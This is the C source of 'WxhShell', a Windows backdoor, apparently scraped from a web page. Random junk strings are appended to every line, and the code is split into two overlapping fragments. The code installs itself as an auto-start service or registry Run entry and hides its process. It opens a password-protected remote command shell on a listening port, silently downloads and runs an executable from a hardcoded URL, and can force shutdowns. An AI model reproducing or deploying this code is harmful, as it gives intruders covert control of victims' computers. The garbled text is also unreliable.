    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &>Ve4!i q  
    else { Hh^ "c}  
    closesocket(wsh); =\%ER/  
    ExitThread(0); dXh[Ea^  
    } .8|wc  
    break; 6 H P 66B  
    } 6v3l^~kc'  
  // 获取shell @@o J@;  
  case 's': { GB|>eZLv<  
    CmdShell(wsh); tVAo o-%  
    closesocket(wsh); $UH:r  
    ExitThread(0); y<FC7  
    break; 2@ZVEN  
  } Nz2 VaZ  
  // 退出 p*Q-o  
  case 'x': { (a_bU5)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *ai~!TR  
    CloseIt(wsh); $\NqD:fgb  
    break; e' l9  
    }  7(+4^  
  // 离开 'Eur[~k  
  case 'q': { ev;&n@k_I  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); )\Q(=:  
    closesocket(wsh); Pb'(Y  
    WSACleanup(); x;7l>uR  
    exit(1); Qf( A  
    break; T5u71C_wmt  
        } 1- s(v)cxh  
  } ^5E9p@d"J  
  } N4+Cg t(  
IrL%0&*hS  
  // 提示信息 2V)+ ba|+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VEh9N  
} i4|R0>b  
  } EU[eG^/0@  
k4V3.i!E  
  return; ?-)!dl%N  
} k 3m_L-  
[=(8yUV'G  
// shell模块句柄 l9f_NJHo  
int CmdShell(SOCKET sock) ~-zIB=TyK  
{ lk 1\|Q I  
STARTUPINFO si; 53:~a  
ZeroMemory(&si,sizeof(si)); <8b1OdA  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (U&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -SM_JR3<  
PROCESS_INFORMATION ProcessInfo; 5bt>MoKxv  
char cmdline[]="cmd"; i6KfH\{N  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); > mO*.'Gm  
  return 0; pRun5 )7  
} Qa_V  
Vr},+Rj  
// 自身启动模式 I*N"_uKU  
int StartFromService(void) -NJpql{Cb  
{ t/;0/ql\  
typedef struct |qMG@  
{ N~=I))i  
  DWORD ExitStatus; y-3'qq'E  
  DWORD PebBaseAddress; *Mhirz% iD  
  DWORD AffinityMask; ~".@mubt1$  
  DWORD BasePriority; I.3~ctzu  
  ULONG UniqueProcessId; V,rc&97  
  ULONG InheritedFromUniqueProcessId; 9PKXQp  
}   PROCESS_BASIC_INFORMATION; %FYhq:j  
5\pS8<RJ;  
PROCNTQSIP NtQueryInformationProcess; Xeq9Vs zg  
U}jGr=tu  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; CnB[ImMs(A  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; h}@wPP{  
YjDQ`f/  
  HANDLE             hProcess; gF p3=s0~  
  PROCESS_BASIC_INFORMATION pbi; {ze69 h  
G~1;_'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !-OZ/^l|O`  
  if(NULL == hInst ) return 0; lq:q0>vyI  
jM$bWtq2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); id:,\iJ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); yo#r^iAr  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ] x)>q  
lV^#[%  
  if (!NtQueryInformationProcess) return 0; ndLEIqOY  
 ,RR{Y-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); p*c(dkOe8  
  if(!hProcess) return 0; b y>%}#M  
Z2M(euzfi3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +JtKVF  
,}IcQu'O  
  CloseHandle(hProcess); f`Fj-<v  
MOQ6&C`7q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); k3$'K}=d  
if(hProcess==NULL) return 0; ,ho",y  
g,\kLTg  
HMODULE hMod; .9vS4C  
char procName[255]; F&6#j  
unsigned long cbNeeded; bBs{PI2(p1  
<CVX[R]U  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Nx.9)MjI  
Nl YFS?5  
  CloseHandle(hProcess); "yw{A%J  
 <)TIj6  
if(strstr(procName,"services")) return 1; // 以服务启动 qkhre3  
s8,YQ5-  
  return 0; // 注册表启动 o)5zvnu7  
} twr{jdY9  
v,}C~L3  
// 主模块 n0l|7:Mk  
int StartWxhshell(LPSTR lpCmdLine) ?sQg{1"Zr  
{ nZB ~l=  
  SOCKET wsl; gg#9I(pX  
BOOL val=TRUE; Ll=G+cw6P  
  int port=0; W~mo*EJ'^  
  struct sockaddr_in door; f)_<Ih\/7_  
%J1'>nI!q  
  if(wscfg.ws_autoins) Install(); # QwX|x{  
6c]4(%8  
port=atoi(lpCmdLine); @;eH~3P  
h/tCve3Z  
if(port<=0) port=wscfg.ws_port;  G06;x   
F\N0<o  
  WSADATA data; 7#C$}1XJ1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2B$dT=G  
}SWfP5D@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9!jF$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); D 1.59mHsD  
  door.sin_family = AF_INET; FL\pgbI  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^rfR<Q`  
  door.sin_port = htons(port); UUfM 7gq  
4|_xz; i  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :? B4q#]N  
closesocket(wsl); *N$XQ{o  
return 1; u;9iuc` *  
} c{Z "'t7  
0\!Bh^++1  
  if(listen(wsl,2) == INVALID_SOCKET) { i{EQjZ  
closesocket(wsl); ]@9W19=P!P  
return 1; A]m*~Vj]  
} Cl3vp_  
  Wxhshell(wsl); aiX&`   
  WSACleanup(); 9c]$d  
^*l dsc  
return 0; C2R"96M7q  
>e!J(4.-  
} dE8f?L'  
75H!i$(*+  
// 以NT服务方式启动 <y?+xZM]#|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =b$g_+  
{ 7Z2D}O +  
DWORD   status = 0; w aniCE o  
  DWORD   specificError = 0xfffffff; m)6 6g]F+  
Z]Xa:[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; qGag{E5!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; YL*FjpVW  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >A D!)&c  
  serviceStatus.dwWin32ExitCode     = 0; e- `9-U%6  
  serviceStatus.dwServiceSpecificExitCode = 0; /{buFX2"}  
  serviceStatus.dwCheckPoint       = 0; yI8 O#  
  serviceStatus.dwWaitHint       = 0; TkTGYh  
fASklcQ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !KXcg9e  
  if (hServiceStatusHandle==0) return; kq=Htbv7  
[cDDZ+6  
status = GetLastError(); (zsmJe  
  if (status!=NO_ERROR) aW:*!d#  
{ >AV9 K  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3q/"4D  
    serviceStatus.dwCheckPoint       = 0; g.Ur~5r  
    serviceStatus.dwWaitHint       = 0; G0: <#?<5  
    serviceStatus.dwWin32ExitCode     = status; w@2NXcmw  
    serviceStatus.dwServiceSpecificExitCode = specificError; w +UB XW  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); D A=LR  
    return; W\B@0Iso  
  } 1 sza\pR<  
Tg O]q4  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; H8"RdKwg?  
  serviceStatus.dwCheckPoint       = 0; g&/lyQ+G  
  serviceStatus.dwWaitHint       = 0; "n3n-Y#'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #vK99 S2  
} EIzTbW{p  
e?(4lD)d  
// 处理NT服务事件,比如:启动、停止 x!I@cP#O  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ){/n7*#Th%  
{ t_I-6`8o]  
switch(fdwControl) nZj&Ma7R  
{ pDP* 3  
case SERVICE_CONTROL_STOP: 6$PQ$  
  serviceStatus.dwWin32ExitCode = 0; =^M Q 4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; b/.EA' /  
  serviceStatus.dwCheckPoint   = 0; =Cf@!wZ^  
  serviceStatus.dwWaitHint     = 0;  XU"G  
  { Wx/PD=Sf&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *9KT@"v  
  } I@N/Y{y#  
  return; w@P86'< v  
case SERVICE_CONTROL_PAUSE: -GL.8" c[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; b6e 2a/x  
  break; HHyN\  
case SERVICE_CONTROL_CONTINUE: <AVWT+,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?a+J4Zr3  
  break; [EPRBK`=  
case SERVICE_CONTROL_INTERROGATE: 3J4OkwqD  
  break; uAYDX<Ja9  
}; 0 Q>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FFwu$S6e  
} :p<:0W2!  
/3 L4K  
// 标准应用程序主函数 4UL"f<7 T  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) l-IA Q!d  
{ Tw/7P~*  
}5" Rj<  
// 获取操作系统版本 ]\ZJaU80I~  
OsIsNt=GetOsVer(); p/ZgzHyF  
GetModuleFileName(NULL,ExeFile,MAX_PATH); sn[<Lq  
QWm g#2'  
  // 从命令行安装 "OP$n-*@%  
  if(strpbrk(lpCmdLine,"iI")) Install(); JvT#Fxjk  
|&S^L}V.C  
  // 下载执行文件 h{]0 H'g  
if(wscfg.ws_downexe) { qoQ,3&<  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) wMm+E "}W  
  WinExec(wscfg.ws_filenam,SW_HIDE); &_QD1 TT  
} sAX4giaLD  
,uO?f1  
if(!OsIsNt) { |.~2C1 4[  
// 如果时win9x,隐藏进程并且设置为注册表启动 2sBYy 8.r  
HideProc(); B_c-@kl   
StartWxhshell(lpCmdLine); 4. %/u@rAi  
} z2.OR,R}]  
else ODCN~7-@  
  if(StartFromService()) H-& ktQWK3  
  // 以服务方式启动 k fOd|-  
  StartServiceCtrlDispatcher(DispatchTable); vKbGG   
else :d<F7`k H  
  // 普通方式启动 yF XPY=EQ  
  StartWxhshell(lpCmdLine); t]t(/x#  
'Um\m  
return 0; <ihJp^kgQ  
} BW`Tw^j  
p)7U%NMc(*  
Fvv/#V^R  
k~Y_%#_  
=========================================== /ubGa6N  
0Z AtBq.s  
\ o?  
)Zyw^KN^  
&~)1mnv.  
pR:cnkVF  
" z\J#d 1e  
&C/,~pJ1S  
#include <stdio.h> o2y #Yk  
#include <string.h> K]U8y$^  
#include <windows.h> tdi}P/x  
#include <winsock2.h> ,-1taS  
#include <winsvc.h> }WNgKw  
#include <urlmon.h> I} ]s(  
oM}P Wf-  
#pragma comment (lib, "Ws2_32.lib") / vzwokH  
#pragma comment (lib, "urlmon.lib") 6:bvq?5a5  
xtS0D^  
#define MAX_USER   100 // 最大客户端连接数 nza^<DlS  
#define BUF_SOCK   200 // sock buffer g;nPF*(  
#define KEY_BUFF   255 // 输入 buffer wqn }t]  
sgeME^v  
#define REBOOT     0   // 重启 @ao Hz8K  
#define SHUTDOWN   1   // 关机 Q0_|?]v  
{<^PYN>`  
#define DEF_PORT   5000 // 监听端口 '6>nXp?)r  
4d]T`  
#define REG_LEN     16   // 注册表键长度 ])T_&%  
#define SVC_LEN     80   // NT服务名长度 t7 $2/C  
}~Y#N  
// 从dll定义API  0c:j wtf  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7[7Sm^Tw  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); WkY>--^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0V#eC  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0>?78QL9<  
ld23 ^r  
// wxhshell配置信息 u/ 74E0$S  
struct WSCFG { +(2mHS0_a  
  int ws_port;         // 监听端口 1j^FNg ~  
  char ws_passstr[REG_LEN]; // 口令 A|GheH!t  
  int ws_autoins;       // 安装标记, 1=yes 0=no O7Awti-X  
  char ws_regname[REG_LEN]; // 注册表键名 D)LqkfJ}z^  
  char ws_svcname[REG_LEN]; // 服务名 kKSn^q L*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $Xo_C_:B  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \C E8S+Z%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .SSj=q4?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Y'i_EX|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @7B!(Q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .zyi'Kj  
y>m=A41:g  
}; 8:0.Pi(ln@  
9L xa?Y1  
// default Wxhshell configuration 9k!#5_ M  
struct WSCFG wscfg={DEF_PORT, KbF,jm5  
    "xuhuanlingzhe", U_c9T>=  
    1, ur`:wR] 2?  
    "Wxhshell", 2f@gR9T  
    "Wxhshell", JS1''^G&.  
            "WxhShell Service", [VwoZX:  
    "Wrsky Windows CmdShell Service", (%EhkTb  
    "Please Input Your Password: ", IE9A _u*  
  1, x k5Z&z  
  "http://www.wrsky.com/wxhshell.exe", liq9P,(  
  "Wxhshell.exe" 'Sjcm@ILm  
    }; [2cG 7A  
sHulaX{  
// 消息定义模块 Y)4&PN~[  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9ozUg,+Z|J  
char *msg_ws_prompt="\n\r? for help\n\r#>"; s4c2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _[.3I1kG  
char *msg_ws_ext="\n\rExit."; [Y]\sF;J  
char *msg_ws_end="\n\rQuit."; y"SVZ} ;|  
char *msg_ws_boot="\n\rReboot..."; h"G#} C]  
char *msg_ws_poff="\n\rShutdown..."; u($y<Q)=  
char *msg_ws_down="\n\rSave to "; hpJi,4r.d  
YTpO4bX  
char *msg_ws_err="\n\rErr!"; R nf$  
char *msg_ws_ok="\n\rOK!"; E7qk>~Dg  
BI-xo}KI  
char ExeFile[MAX_PATH]; !'^gqaF+  
int nUser = 0; 0X3kVm <  
HANDLE handles[MAX_USER]; [MKL>\U  
int OsIsNt; m[FH>  
Cuq=>J  
SERVICE_STATUS       serviceStatus; ?F9:rUyN  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; r9uuVxBD  
!bG%@{WT  
// 函数声明 />z E$)'M  
int Install(void); a:tCdnK/  
int Uninstall(void); 7a}vb@  
int DownloadFile(char *sURL, SOCKET wsh); lclSzC9  
int Boot(int flag); /"$;3n~  
void HideProc(void); r4h4A w{  
int GetOsVer(void); _"B5S?  
int Wxhshell(SOCKET wsl); U_HOfix  
void TalkWithClient(void *cs); bm_'giQ:  
int CmdShell(SOCKET sock); WL<$(y:H  
int StartFromService(void); EnGVp<6R  
int StartWxhshell(LPSTR lpCmdLine); C&m[/PJ~l  
EI*B(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -*u7MFq_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /=}w%-;/;  
b*xw=G3%  
// 数据结构和表定义 /}\EMP  
SERVICE_TABLE_ENTRY DispatchTable[] = 0a??8?Q1G  
{ Q9 b.]W  
{wscfg.ws_svcname, NTServiceMain}, E1'HdOh&z  
{NULL, NULL} gSP]& _9j  
}; J]A!>|Ic  
-Fe) )Y'=  
// 自我安装 2R2ws.}  
int Install(void) E hROd  
{ r_f?H@v  
  char svExeFile[MAX_PATH]; 3U0>Y%m|,  
  HKEY key;  3%G>TB  
  strcpy(svExeFile,ExeFile); 0m^(|=N-  
) )q4Rh  
// 如果是win9x系统,修改注册表设为自启动 8(e uWS  
if(!OsIsNt) { c|%.B2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  s=&&gC1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %EuJ~;x(Mg  
  RegCloseKey(key); qJb9JL$s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6.| {l8%r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :O}=$[  
  RegCloseKey(key); ]E\o<"#t/  
  return 0; ao]Dm#HiO  
    } ua%$r[  
  } SM2QF  
} P\B ]><!ep  
else { #MbkU])  
RG9YA&1ce  
// 如果是NT以上系统,安装为系统服务 ykv,>nSXLL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); k[0Gz  
if (schSCManager!=0) |^^'GZ%a  
{ _H9.A I  
  SC_HANDLE schService = CreateService \YE(E04w57  
  ( B 3Y,|*  
  schSCManager, ?32gug\i'}  
  wscfg.ws_svcname, iX]Vkx  
  wscfg.ws_svcdisp, A~_*vcz  
  SERVICE_ALL_ACCESS, "&s9;_9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , nCZ&FNi{O~  
  SERVICE_AUTO_START, 5G"DgG*<  
  SERVICE_ERROR_NORMAL, u:Fa1 !4JR  
  svExeFile, E)l0`83~^  
  NULL, Nr?Z[6O|  
  NULL, zrqQcnx9(m  
  NULL, M<R3JzT  
  NULL, 18ApHp  
  NULL 8LI,'XZ  
  ); 1PD{m{  
  if (schService!=0) ztcV[{[g  
  { mhZ{}~  
  CloseServiceHandle(schService); 9?5'>WO  
  CloseServiceHandle(schSCManager); b*w@kLLN  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?6;9r[ p  
  strcat(svExeFile,wscfg.ws_svcname); W_:3Sj l'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { i^9,.$<1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =]k0*\PS  
  RegCloseKey(key); cn62:p]5  
  return 0; z']TRjDbT  
    } 3mI(5~4A]?  
  } tI42]:z  
  CloseServiceHandle(schSCManager); -? _#Yttu  
} >/@wht4- j  
} Ah5`Cnv  
-][~_Hd{  
return 1; SvZ~xTit  
} 3K2B7loD)~  
y:t@X~  
// 自我卸载 N~rA/B]T  
int Uninstall(void) rucgav  
{ @ev"{dY  
  HKEY key; N`3q54_$  
w$Zi'+&*  
if(!OsIsNt) { vGe];  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0_F6t-  
  RegDeleteValue(key,wscfg.ws_regname); b.mcP@  
  RegCloseKey(key); Ass :  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2a=3->D&  
  RegDeleteValue(key,wscfg.ws_regname); us j:I`>  
  RegCloseKey(key); >Q5et1c  
  return 0; -|0nZ  
  } B bU%p  
} b`a4SfbQS  
} @|AHTf!  
else { -BQoNEh  
BC:d@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7s8-Uwl<  
if (schSCManager!=0) {)V!wSi  
{ t6/w({}j  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); LqNt.d @  
  if (schService!=0) oeV. K.  
  { >6Y @8 )  
  if(DeleteService(schService)!=0) { j)G<PW  
  CloseServiceHandle(schService); lZ5LHUzP  
  CloseServiceHandle(schSCManager); k }amSsE  
  return 0; f4%Z~3P  
  } JXFPN|  
  CloseServiceHandle(schService); >A5*=@7bY?  
  } 0R2KI,WI  
  CloseServiceHandle(schSCManager); WC& V9Yk  
} +2:\oy}!8  
} 'e&L53n  
p.wed% O.  
return 1; @c;XwU]2t  
} 0m2%ucKw  
m*bTELb  
// 从指定url下载文件 |7Dc7p"D  
int DownloadFile(char *sURL, SOCKET wsh) QZwUv<*  
{ rra|}l4Y  
  HRESULT hr; EM2=g9y  
char seps[]= "/"; hn`yc7<}(u  
char *token; %mqep5n(  
char *file; ]>v C.iYp  
char myURL[MAX_PATH]; `!,"">5  
char myFILE[MAX_PATH]; %#go9H(K  
_HMQx_e0YM  
strcpy(myURL,sURL); k)j6rU  
  token=strtok(myURL,seps); ={'3j  
  while(token!=NULL) -!@]z2uU  
  { p!oO}gE  
    file=token; 0P_=Oy"l-  
  token=strtok(NULL,seps); /penB[ 1i  
  } 7)RDu,fx  
\wZ 4enm  
GetCurrentDirectory(MAX_PATH,myFILE); ~,^pya  
strcat(myFILE, "\\"); #%9t-  
strcat(myFILE, file); hwx1fpo4  
  send(wsh,myFILE,strlen(myFILE),0); SEKR`2Zz,  
send(wsh,"...",3,0); LZ=E  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); NqlU?  
  if(hr==S_OK) /Fr*k5I  
return 0; Ez1-Nx  
else ylGT9G19  
return 1; 3VZ}5  
14~#k%zO(  
} FhP$R}F  
;B^ 9sr  
// 系统电源模块 nyoLrTs{  
int Boot(int flag) '048Qykt;  
{ (G6lr%d  
  HANDLE hToken; wC>}9OM  
  TOKEN_PRIVILEGES tkp; @vc9L  
K ' ?`'7  
  if(OsIsNt) { _^Z v[P  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  2S  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); iFOa9!_0n  
    tkp.PrivilegeCount = 1; awU! 3)B  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (^HU|   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~XeWN^l(Ov  
if(flag==REBOOT) { <)$e*HrI  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) XQ'$J_hC  
  return 0; ,Gi%D3lA  
} \? n<UsI  
else { <@S'vcO  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )H1\4LeP  
  return 0; $RA+StF!]  
} SpO%nZ";g8  
  } 01n7ua*XX  
  else { f8?hEa:js  
if(flag==REBOOT) { 1Y:JGon  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?vBMx _0  
  return 0; H2S/!Q;K  
} [-0=ZKH?  
else { RRb>]oD  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) H73 r3BH  
  return 0; Pk3b#$+E  
} gJ H^f3  
} 79z/(T +  
@ N@ !Q  
return 1; yHo#v:>?p  
} LVaJyI@/>  
v8"Zru  
// win9x进程隐藏模块 z8dBfA<z  
void HideProc(void) 'F%h]4|1  
{ ;S9 z@`a.  
X Z=%XB:?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); M?00n< vM  
  if ( hKernel != NULL ) =B{B ?B"r  
  { \"a~~Koe  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); );/p[Fd2]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); e +Ikw1y"f  
    FreeLibrary(hKernel); !lL~#l:F  
  } "sSY[6Kp!  
.wO-2h{Q  
return; 'kSm}} y  
} ,`ba?O?*G  
F AQx8P  
// 获取操作系统版本 k?}y@$[)  
int GetOsVer(void) l(pP*2  
{ 6`@6k2]  
  OSVERSIONINFO winfo; F]L96&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?BX}0RWMh7  
  GetVersionEx(&winfo); m f\tMik<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \Ez&?yb/  
  return 1; '=+gwe M  
  else M4n0GWHLy  
  return 0; gg.lajX  
} U]&/F{3 im  
K1=j7  
// 客户端句柄模块 kp Rk.Q*  
int Wxhshell(SOCKET wsl) 0Q~\1D 9g  
{ ^)o#/"JA  
  SOCKET wsh; k]9y+WC2  
  struct sockaddr_in client; }ww`Y&#  
  DWORD myID; C{G;G@/7  
Byh!Snoe  
  while(nUser<MAX_USER) ,T-xuNYC  
{ b%h.>ij?  
  int nSize=sizeof(client); B2:GGZ|jS  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); q26 qY5D  
  if(wsh==INVALID_SOCKET) return 1; u"F{cA!B  
CHVAs9mrNB  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [4Q;5 'Dj  
if(handles[nUser]==0) OGcW]i  
  closesocket(wsh); ,ZZ5A;)  
else h05BZrE  
  nUser++; YB_fy8Tfx  
  } B@ >t$jK  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); On(.(7sNc  
yb-4[C:i  
  return 0; @zJiR{Je-U  
} wn.UjxX.  
\"X_zM  
// 关闭 socket @ %o'  
void CloseIt(SOCKET wsh) g77:92  
{ },;Z<(  
closesocket(wsh); [M#(su0fv  
nUser--; )=!|^M  
ExitThread(0); xP 7mP+D  
} ;3iWV"&_A  
Q$5%9  
// 客户端请求句柄 4WPco"xH!  
void TalkWithClient(void *cs) j>5X^Jd  
{ dpT?*qLM  
LlD=c  
  SOCKET wsh=(SOCKET)cs; w3;T]R*  
  char pwd[SVC_LEN]; |+Xh ^E  
  char cmd[KEY_BUFF]; +fHqGZ]  
char chr[1]; 4YXp,U  
int i,j; mln%Rd6u/  
S3Fj /2Q8  
  while (nUser < MAX_USER) { s~A:*2\  
F5+!Gb En  
if(wscfg.ws_passstr) { +1K= ]#a  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !FQS9SoO9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O' Mma5  
  //ZeroMemory(pwd,KEY_BUFF); @P">4xVX{  
      i=0; M 9 N'Hk=  
  while(i<SVC_LEN) { u63Q<P<  
As??_=>4  
  // 设置超时 W]D+[mpgK  
  fd_set FdRead; `69xR[f  
  struct timeval TimeOut; 2gW+&5; 4  
  FD_ZERO(&FdRead); mj ,Oy  
  FD_SET(wsh,&FdRead); zpy&\#Vc  
  TimeOut.tv_sec=8; ?[.g~DK,  
  TimeOut.tv_usec=0; O`_]n  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 16"L;r  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); k;<F33v;Mh  
xv7nChB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /px`FuJI(  
  pwd=chr[0]; wsj5;(f+  
  if(chr[0]==0xd || chr[0]==0xa) { )o;n2T#O  
  pwd=0; FX+^S?x.  
  break; =%{E^z>1  
  } SJlL!<i$  
  i++; =kw6<!R  
    } ;I>77gi`]  
Hiih$O+  
  // 如果是非法用户,关闭 socket $gdGII&n  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +WvW#wpH  
} GPAz#0p  
ig'4DmNC  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); JY9hD;`6y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1#x@  
d3p;[;`  
while(1) { D7C%Y^K]>E  
7H. HiyppW  
  ZeroMemory(cmd,KEY_BUFF); f.RwV+lq  
85](,YYz  
      // 自动支持客户端 telnet标准   ze uSk| O  
  j=0;  W|6.gN]  
  while(j<KEY_BUFF) { lAAPV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^3nB2G.ax  
  cmd[j]=chr[0]; 6MbMAh5>  
  if(chr[0]==0xa || chr[0]==0xd) { mnH1-}oL  
  cmd[j]=0; :Ek3]`q#  
  break; 'D?sRbJ=  
  } 2'WdH1UrBc  
  j++; Jh%k:TrBm  
    } 9QkIMJf0e  
$]b&3_O$N8  
  // 下载文件 {'G u@l  
  if(strstr(cmd,"http://")) { J|b:Zo9<f"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >H?~2O  
  if(DownloadFile(cmd,wsh)) tmC9p6%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6K5KkEp  
  else _LLE~nUK"/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e(k$k>?  
  } ^j'vM\^`ml  
  else { cx4'rK.  
1F?ylZ|~  
    switch(cmd[0]) { 5O"wPsl  
  uzLIllVX*  
